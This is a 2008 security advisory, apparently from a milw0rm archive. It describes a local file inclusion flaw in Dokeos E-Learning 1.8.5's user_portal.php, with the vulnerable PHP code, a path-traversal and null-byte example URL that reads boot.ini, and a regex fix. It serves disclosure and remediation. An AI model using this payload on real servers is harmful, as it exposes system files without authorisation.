Dokeos E-Learning System 1.8.5 - Local File Inclusion

Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-029


Application:                    Dokeos E-Learning System
Versions Affected:              1.8.5
Vendor URL:                     http://dokeos.com/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       01.07.2008
Vendor response:                05.07.2008
Solution:                       YES
Date of Public Advisory:        17.07.2008
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Dokeos E-Learning System system has local file include vulnerability in script user_portal.php

Vulnerable GET parameter "include".

Registered user can use this vulnerability.

Code
****
#################################################

if (!empty ($_GET['include']) && !strstr($_GET['include'], '/') && strstr($_GET['include'], '.html'))
{
        include ('./home/'.$_GET['include']);
        $pageIncluded = true;
}
else
..

#################################################

Example:

http://[server]/[installdir]/user_portal.php?include=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00.html


Fix Information

***************

you can fix it following this official information http://www.dokeos.com/wiki/index.php/Security Or wait a new
release


Fixing this issue can be done by replacing line 770 of /user_portal.php by:

 if (!empty ($_GET['include']) && preg_match('/^[a-zA-Z0-9_-]*\.html$/',$_GET['include']))



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and
penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and
PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with
vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)

# milw0rm.com [2008-07-28]